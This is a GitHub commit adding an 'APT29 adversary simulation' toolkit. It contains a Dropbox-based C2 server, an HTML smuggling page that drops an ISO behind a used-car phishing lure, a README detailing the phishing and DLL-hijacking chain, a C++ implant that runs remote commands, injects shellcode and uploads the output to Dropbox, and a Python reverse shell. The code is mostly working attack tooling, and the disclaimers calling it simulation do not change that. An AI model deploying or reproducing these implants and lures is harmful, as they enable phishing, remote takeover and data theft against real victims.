Add files via upload

This commit is contained in:
S3N4T0R
2024-09-02 09:52:17 -04:00
committed by GitHub
parent efef473245
commit 94d8c0345c
54 changed files with 4002 additions and 0 deletions
Binary file not shown.
@@ -0,0 +1,239 @@
# This script integrates Dropbox API functionality to facilitate communication between the compromised system and the attacker-controlled server, thereby potentially hiding the traffic within legitimate Dropbox communication.
# This C2 is for simulation only and is still under development
# pip install -r requirements.txt
# python3 Dropboxc2.py
# Author: S3N4T0R
# Date: 2024-3-15
# Disclaimer: it's essential to note that this script is for educational purposes only, and any unauthorized use of it could lead to legal consequences.
import subprocess
import sys
import time
import threading
import socket
import base64
import os
import pyautogui
from pyvirtualdisplay import Display
import random
import shutil
import requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
BLUE = '\033[94m'
RESET = '\033[0m'
print(BLUE + """
██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ██████╗ ██████╗
██╔══██╗██╔══██╗██╔═══██╗██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝ ██╔════╝ ╚════██╗
██║ ██║██████╔╝██║ ██║██████╔╝██████╔╝██║ ██║ ╚███╔╝ ██║ █████╔╝
██║ ██║██╔══██╗██║ ██║██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ██║ ██╔═══╝
██████╔╝██║ ██║╚██████╔╝██║ ██████╔╝╚██████╔╝██╔╝ ██╗ ╚██████╗ ███████╗
╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝
""" + RESET)
access_token = input("Enter your Dropbox access token: ")
ip = input("Enter the IP address for the reverse shell: ")
port = int(input("Enter the port number for the reverse shell: "))
# Encrypt the access token using AES encryption in ECB mode
def encrypt_access_token(token):
# Prompt the user to enter the AES key
key = input("Enter your AES key (must be 16, 24, or 32 bytes long): ").encode()
if len(key) not in [16, 24, 32]:
print("Invalid key length. AES key must be 16, 24, or 32 bytes long.")
sys.exit(1)
cipher = AES.new(key, AES.MODE_ECB)
token_padded = pad(token.encode(), AES.block_size)
return base64.b64encode(cipher.encrypt(token_padded)).decode()
# Encrypt the access token
access_token_encrypted = encrypt_access_token(access_token)
# Create the headers for the Dropbox API requests
headers = {
"Authorization": f"Bearer {access_token_encrypted}",
"Content-Type": "application/json",
"User-Agent": "Dropbox-API-Client/2.0",
"Connection": "keep-alive", # Maintain persistent connection
"Accept-Encoding": "gzip, deflate, br", # Accept compressed responses
"Accept-Language": "en-US,en;q=0.9", # Specify language preference
}
# Set up the reverse shell connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((ip, port))
s.listen(1)
print("Waiting for incoming connection...")
client_socket, addr = s.accept()
# Function to perform DLL Hijacking
def hijack_dll():
# Prompt the user for the path of the DLL to hijack
dll_path = input("Enter the path of the DLL to hijack: ")
# Prompt the user for the path of the target executable
target_exe = input("Enter the path of the target executable: ")
# Copy the specified DLL to the directory of the target executable
shutil.copy(dll_path, os.path.dirname(target_exe))
# Launch the target executable
subprocess.run(target_exe, shell=True)
# Prompt the user to choose whether to perform DLL hijacking
perform_hijack = input("Do you want to perform DLL hijacking? (yes/no): ").lower()
# If the user chooses to perform DLL hijacking, call the hijack_dll function
if perform_hijack == "yes":
hijack_dll()
elif perform_hijack == "no":
print("DLL hijacking will not be performed.")
else:
print("Invalid input. DLL hijacking will not be performed.")
# Spawn a shell process
shell = subprocess.Popen(['/bin/bash', '-i'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
# Create a virtual display on the server
display = Display(visible=0, size=(800, 600))
display.start()
# Initialize session management
sessions = {}
session_counter = 1
# Execute commands entered by the user
while True:
command = input("Enter a command to execute (or type 'exit' to quit): ")
if command.lower() == "exit":
break
# Randomize communication intervals
time.sleep(random.uniform(1, 5))
# Send the command to the shell process and get the output
result = subprocess.run(command, shell=True, capture_output=True, text=True)
stdout = result.stdout
stderr = result.stderr
# Send the command and output back to the client
client_socket.send(command.encode())
client_socket.send(stdout.encode())
client_socket.send(stderr.encode())
# If the command is 'screen', start capturing the virtual display
if command.lower() == "screen":
session_id = str(session_counter)
session_counter += 1
sessions[session_id] = {"socket": client_socket, "display": display}
print(f"Started screen session {session_id}")
# Capture the virtual display and convert it to base64
screen = pyautogui.screenshot()
screen_data = base64.b64encode(screen.tobytes()).decode('utf-8')
# Send the base64-encoded screen data to the client
client_socket.send(screen_data.encode())
# Continuously capture the screen and send updates to the client
while True:
try:
# Capture the virtual display
screen = pyautogui.screenshot()
screen_data = base64.b64encode(screen.tobytes()).decode('utf-8')
# Send the base64-encoded screen data to the client
client_socket.send(screen_data.encode())
# Sleep for a short interval to control the screen update rate
time.sleep(0.1)
except KeyboardInterrupt:
# If the user interrupts the screen capture, stop the loop
print("\nScreen session ended.")
break
elif command.lower() == "exfiltrate":
# Example: Exfiltrate sensitive data
# Replace this with your own exfiltration method
client_socket.send("Exfiltrating sensitive data...".encode())
# Add your exfiltration code here
elif command.lower() == "escalate":
# Example: Escalate privileges
# Replace this with your own privilege escalation method
client_socket.send("Escalating privileges...".encode())
# Add your privilege escalation code here
elif command.lower() == "pivot":
# Example: Pivot to other systems in the network
# Replace this with your own pivoting method
client_socket.send("Pivoting to other systems...".encode())
# Add your pivoting code here
elif command.lower() == "upload":
# Example: Upload a file to Dropbox
file_path = input("Enter the path of the file to upload: ")
file_name = os.path.basename(file_path)
with open(file_path, "rb") as f:
file_data = f.read()
url = "https://content.dropboxapi.com/2/files/upload"
headers["Dropbox-API-Arg"] = '{"path": "/'+ file_name +'","mode": "add","autorename": true,"mute": false,"strict_conflict": false}'
response = requests.post(url, headers=headers, data=file_data)
client_socket.send(response.text.encode())
elif command.lower() == "download":
# Example: Download a file from Dropbox
file_path = input("Enter the path of the file to download: ")
url = "https://content.dropboxapi.com/2/files/download"
headers["Dropbox-API-Arg"] = '{"path": "'+ file_path +'"}'
response = requests.post(url, headers=headers)
with open(os.path.basename(file_path), "wb") as f:
f.write(response.content)
client_socket.send("File downloaded successfully.".encode())
elif command.lower() == "get":
# Example: Get file metadata from Dropbox
file_path = input("Enter the path of the file: ")
url = "https://api.dropboxapi.com/2/files/get_metadata"
data = {"path": file_path}
response = requests.post(url, headers=headers, json=data)
client_socket.send(response.text.encode())
elif command.lower() == "remove":
# Example: Remove a file from Dropbox
file_path = input("Enter the path of the file to remove: ")
url = "https://api.dropboxapi.com/2/files/delete_v2"
data = {"path": file_path}
response = requests.post(url, headers=headers, json=data)
client_socket.send(response.text.encode())
elif command.lower() == "add":
# Example: Create a folder on Dropbox
folder_path = input("Enter the path of the folder to create: ")
url = "https://api.dropboxapi.com/2/files/create_folder_v2"
data = {"path": folder_path}
response = requests.post(url, headers=headers, json=data)
client_socket.send(response.text.encode())
elif command.lower() == "list_folder":
# Example: List files and folders in a directory on Dropbox
folder_path = input("Enter the path of the folder to list: ")
url = "https://api.dropboxapi.com/2/files/list_folder"
data = {"path": folder_path}
response = requests.post(url, headers=headers, json=data)
client_socket.send(response.text.encode())
else:
# If the command is not 'screen', send the output back to the client
client_socket.send(stdout.encode())
client_socket.send(stderr.encode())
# Close the connection
client_socket.close()
s.close()
display.stop()
@@ -0,0 +1,42 @@
<html>
<body>
<script>
function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array(len);
for (var i = 0; i < len; i++) {
bytes[i] = binary_string.charCodeAt(i);
}
return bytes.buffer;
}
var file = 'Your base64 string here';
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'payload.iso';
var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none;';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
</script>
<div class="container">
<h1>BMW for Sale</h1>
<hr>
<img class="bmw-logo" src="car.png" alt="BMW logo">
<hr>
<p> sale of a used BMW 5-series sedan located in Kyiv. </p>
<p>You can view the details and condition of the car through the images and iso file.</p>
</html>
@@ -0,0 +1,120 @@
# Cozy Bear APT29 Adversary Simulation
This is a simulation of attack by the Cozy Bear group (APT-29) targeting diplomatic missions.
The campaign began with an innocuous and legitimate event. In mid-April 2023, a diplomat within the Polish Ministry of Foreign Affairs emailed his legitimate flyer to various embassies advertising the sale of a used BMW 5-series sedan located in Kyiv. The file was titled BMW 5 for sale in Kyiv - 2023.docx.
I relied on palo alto to figure out the details to make this simulation: https://unit42.paloaltonetworks.com/cloaked-ursa-phishing/
![photo_2024-04-12_01-35-08](https://github.com/S3N4T0R-0X0/APT29-Adversary-Simulation/assets/121706460/891d43ef-b749-4c08-ab60-df2df85e620d)
1.DOCX file: created DOCX file includes a Hyperlink that leads to downloading further HTML (HTML smuggling file).
2.HTML Smuggling: The attackcers use the of HTML smuggling to obscure the ISO file.
3.LNK files: When the LNK files (shortcut) are executed they run a legitimate EXE and open a PNG file. However, behind the scenes, encrypted shellcode is read into memory and decrypted.
4.ISO file: The ISO file contains a number of LNK files that are masquerading as images. These LNK files are used to execute the malicious payload.
5.DLL hijacking: The EXE file loads a malicious DLL via DLL hijacking, which allows the attacker to execute arbitrary code in the context of the infected process.
6.Shellcode injection: The decrypted shellcode is then injected into a running Windows process, giving the attacker the ability to execute code with the privileges of the infected process.
7.Payload execution: The shellcode decrypts and loads the final payload inside the current process.
8.Dropbox C2: This payload beacons to Dropbox and Primary/Secondary C2s based on the Microsoft Graph API.
![Screenshot from 2024-03-11 15-43-36](https://github.com/S3N4T0R-0X0/APT29-Adversary-Simulation/assets/121706460/ff510ffd-3481-4978-bedc-d30629d65307)
## The first stage (delivery technique)
First the attackers created DOCX file includes a Hyperlink that leads to downloading further HTML (HTML smuggling file)
The advantage of the hyperlink is that it does not appear in texts, and this is exactly what the attackers wanted to exploit.
![Screenshot from 2024-03-01 19-18-51](https://github.com/S3N4T0R-0X0/APT29-Adversary-Simulation/assets/121706460/bb984b9c-5367-4fb2-9efc-3be7c098ec46)
HTML Smuggling used to obscure ISO file and the ISO contains a number of LNK files masquerading as images
command line to make payload base64 to then put it in the HTML smuggling file:
`base64 payload.iso -w 0` and i added a picture of the BMW car along with the text content of the phishing message in the HTML file.
![Screenshot from 2024-03-01 19-39-42](https://github.com/S3N4T0R-0X0/APT29-Adversary-Simulation/assets/121706460/8e76572b-5d72-4d87-9cf9-4c7bf002c801)
## The Second stage (implanting technique)
We now need to create a PNG image that contains images of the BMW car, but in the background when the image is opened, the malware is running in the background,
at this stage i used the WinRAR program to make the image open with Command Line execution via CMD when opening the image and I used an image in icon format.
![20240302_194641](https://github.com/S3N4T0R-0X0/APT29-Adversary-Simulation/assets/121706460/b3b7872e-1bf9-4637-a13f-ba720c113276)
After using WinRaR for this compressed file, we will make a short cut of this file and put it in another file with the actual images then we will convert it to an ISO file through the PowerISO program.
Note: This iso file is the one to which we will make base64 for this iso file and put in the html smuggling file before make hyperlink and place it in the docx file.
![Screenshot from 2024-03-02 15-39-55](https://github.com/S3N4T0R-0X0/APT29-Adversary-Simulation/assets/121706460/40fef200-416c-4de4-8999-f154a01b22dd)
## The third stage (execution technique)
Because i put the command line in the setup (run after extraction) menu in the Advanced SFX options for the WinRaR program now when the victim open the ISO file to see the high-quality images for the BMW car according to the phishing message he had previously received he will execute the payload with opening the actual image of the BMW car.
https://github.com/S3N4T0R-0X0/APT29-Adversary-Simulation/assets/121706460/343e37ce-28e0-4a52-8a68-673bfcc68ffe
## The fourth stage (Data Exfiltration) over Dropbox API C2 Channe
The attackers used the Dropbox C2 (Command and Control) API as a means to establish a communication channel between their payload and the attacker's server. By using Dropbox as a C2 server, attackers can hide their malicious activities among the legitimate traffic to Dropbox, making it harder for security teams to detect the threat.
First, we need to create a Dropbox account and activate its permissions, as shown in the following figure.
![Screenshot from 2024-03-12 16-10-13](https://github.com/S3N4T0R-0X0/APT29-Adversary-Simulation/assets/121706460/518a643a-f8bc-455c-acdd-a6ed6fe8735a)
After that, we will go to the settings menu to generate the access token for the Dropbox account, and this is what we will use in Dropbox C2.
![photo_2024-03-12_16-22-54](https://github.com/S3N4T0R-0X0/APT29-Adversary-Simulation/assets/121706460/00e41c7e-b2ac-4805-b1a9-77d00671ebf8)
This script integrates Dropbox API functionality to facilitate communication between the compromised system and the attacker-controlled server,
thereby hiding the traffic within legitimate Dropbox communication, and take the access token as input prompts the user to enter an AES key
(which must be 16, 24, or 32 bytes long) and encrypts the token using AES encryption in ECB mode. It then base64 encodes the encrypted token and returns it.
![171053992557140444](https://github.com/S3N4T0R-0X0/APT29-Adversary-Simulation/assets/121706460/15fdca80-68cb-41ac-9eb5-b56ded6e552e)
I used payload written by Python only to test C2 (testing payload.py), if there were any problems with the connection (just for test connection) before writing the actual payload.
## The fifth stage (payload with DLL hijacking) and injected Shellcode
this payload uses the Dropbox API to upload data, including command output to Dropbox. By leveraging the Dropbox API and providing an access token the payload hides its traffic within the legitimate traffic of the Dropbox servic and If the malicious DLL fails to load, it prints a warning message but continues executing without it.
![Screenshot from 2024-03-23 15-17-27](https://github.com/S3N4T0R-0X0/APT29-Adversary-Simulation/assets/121706460/7144331f-5635-49f7-b024-5152cb06cc03)
1.DLL Injection: The payload utilizes DLL hijacking to load a malicious DLL into the address space of a target process.
2.Shellcode Execution: Upon successful injection, the malicious DLL executes shellcode stored within its DllMain function.
3.Memory Allocation: The VirtualAlloc function is employed to allocate memory within the target process, where the shellcode will be injected.
4.Shellcode Injection: The shellcode is copied into the allocated memory region using memcpy, effectively injecting it into the process.
5.Privilege Escalation: If the compromised process runs with elevated privileges, the injected shellcode inherits those privileges, allowing the attacker to perform privileged operations.
![Screenshot from 2024-03-23 15-16-20](https://github.com/S3N4T0R-0X0/APT29-Adversary-Simulation/assets/121706460/29858785-5fc5-446c-a1d0-d0b1bb1e58d7)
## Final result: payload connect to Dropbox C2 server
the final step in this process involves the execution of the final payload. After being decrypted and loaded into the current process,
the final payload is designed to beacon out to both Dropbox API-based C2 server.
https://github.com/S3N4T0R-0X0/APT29-Adversary-Simulation/assets/121706460/c5b7b826-72a1-459e-9f19-6e34bd79aeab
@@ -0,0 +1,177 @@
//this payload uses the Dropbox API to upload data, including command output to Dropbox. By leveraging the Dropbox API and providing an access token the payload hides its traffic within the legitimate traffic of the Dropbox servic and If the malicious DLL fails to load, it prints a warning message but continues executing without it.
//Disclaimer: this payload for research & simulation, i am not responsible if anyone uses this payload for illegal purposes
// Author: S3N4T0R
// Date: 2024-3-22
//manual compile: i686-w64-mingw32-g++ c2_payload.cpp -o windoc.exe -lws2_32 -static-libgcc -static-libstdc++
//execution command: ./c2_payload.exe server_ip port
#include <iostream>
#include <winsock2.h>
#include <windows.h>
#include <string>
#include <vector>
#include <algorithm>
#include <iterator>
#pragma comment(lib, "ws2_32.lib")
#define ACCESS_TOKEN "put Your dropbox access token here"
#define DLL_NAME "malicious.dll"
// function to execute commands and return the output
std::string execute_command(const char* command) {
char buffer[4096];
std::string output = "";
FILE* pipe = _popen(command, "r");
if (!pipe) return "Error: failed to execute command\n";
while (!feof(pipe)) {
if (fgets(buffer, 4096, pipe) != NULL)
output += buffer;
}
_pclose(pipe);
return output;
}
// function to send data to Dropbox using Dropbox API
bool send_to_dropbox(const std::string& data) {
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) {
std::cerr << "Error: failed to create socket\n";
return false;
}
sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(443);
server.sin_addr.s_addr = inet_addr("162.125.5.14");
if (connect(sock, (SOCKADDR *)&server, sizeof(server)) == SOCKET_ERROR) {
std::cerr << "Error: connection failed\n";
closesocket(sock);
return false;
}
std::string request = "POST /2/files/upload HTTP/1.1\r\n";
request += "Host: content.dropboxapi.com\r\n";
request += "Content-Type: application/octet-stream\r\n";
request += "Authorization: Bearer " + std::string(ACCESS_TOKEN) + "\r\n";
request += "Dropbox-API-Arg: {\"path\": \"/payload.txt\"}\r\n";
request += "Content-Length: " + std::to_string(data.size()) + "\r\n\r\n";
request += data;
send(sock, request.c_str(), request.size(), 0);
closesocket(sock);
return true;
}
// DllMain function for the malicious DLL
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: {
// shellcode to be injected
unsigned char shellcode[] = {
// your shellcode goes here
};
// function pointers for WinAPI functions
typedef LPVOID(WINAPI *VirtualAlloc_t)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
typedef BOOL(WINAPI *VirtualFree_t)(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
VirtualAlloc_t virtualAlloc = (VirtualAlloc_t)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
VirtualFree_t virtualFree = (VirtualFree_t)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualFree");
if (virtualAlloc != NULL && virtualFree != NULL) {
LPVOID pAlloc = virtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pAlloc != NULL) {
// copy shellcode into allocated memory
memcpy(pAlloc, shellcode, sizeof(shellcode));
// execute the shellcode
((void(*)())pAlloc)();
// free the allocated memory
virtualFree(pAlloc, sizeof(shellcode), MEM_RELEASE);
}
}
break;
}
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
default:
break;
}
return TRUE;
}
int main(int argc, char *argv[]) {
if (argc != 3) {
std::cerr << "Usage: " << argv[0] << " <server_ip> <server_port>\n";
return 1;
}
WSADATA wsData;
if (WSAStartup(MAKEWORD(2, 2), &wsData) != 0) {
std::cerr << "Error: failed to initialize Winsock\n";
return 1;
}
std::cout << "Connected to Dropbox\n";
// load the malicious DLL via DLL hijacking
HMODULE hModule = LoadLibraryA(DLL_NAME);
if (hModule == NULL) {
std::cerr << "Warning: failed to load malicious DLL. continuing without it.\n";
}
while (true) {
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) {
std::cerr << "Error: failed to create socket\n";
WSACleanup();
return 1;
}
sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(std::stoi(argv[2]));
server.sin_addr.s_addr = inet_addr(argv[1]);
if (connect(sock, (SOCKADDR *)&server, sizeof(server)) == SOCKET_ERROR) {
std::cerr << "Error: Connection failed\n";
closesocket(sock);
continue;
}
std::cout << "connected to Dropbox C2 server\n";
char command[1024] = {0};
int bytes_received = recv(sock, command, sizeof(command), 0);
if (bytes_received <= 0) {
std::cerr << "Error: failed to receive command\n";
closesocket(sock);
continue;
}
std::cout << "Received command: " << command << std::endl;
std::string output = execute_command(command);
// send command output to dropbox
send_to_dropbox(output);
closesocket(sock);
}
WSACleanup();
return 0;
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 3.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 254 KiB

@@ -0,0 +1,5 @@
pyautogui
pyvirtualdisplay
requests
pycryptodome
@@ -0,0 +1,30 @@
# compile: pyinstaller --onefile testing payload.py
import socket
import subprocess
ip = "192.168.1.1"
port = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
while True:
command = s.recv(1024).decode()
if command.lower() == "exit":
break
try:
output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
s.sendall(output)
except Exception as e:
s.sendall(str(e).encode())
s.close()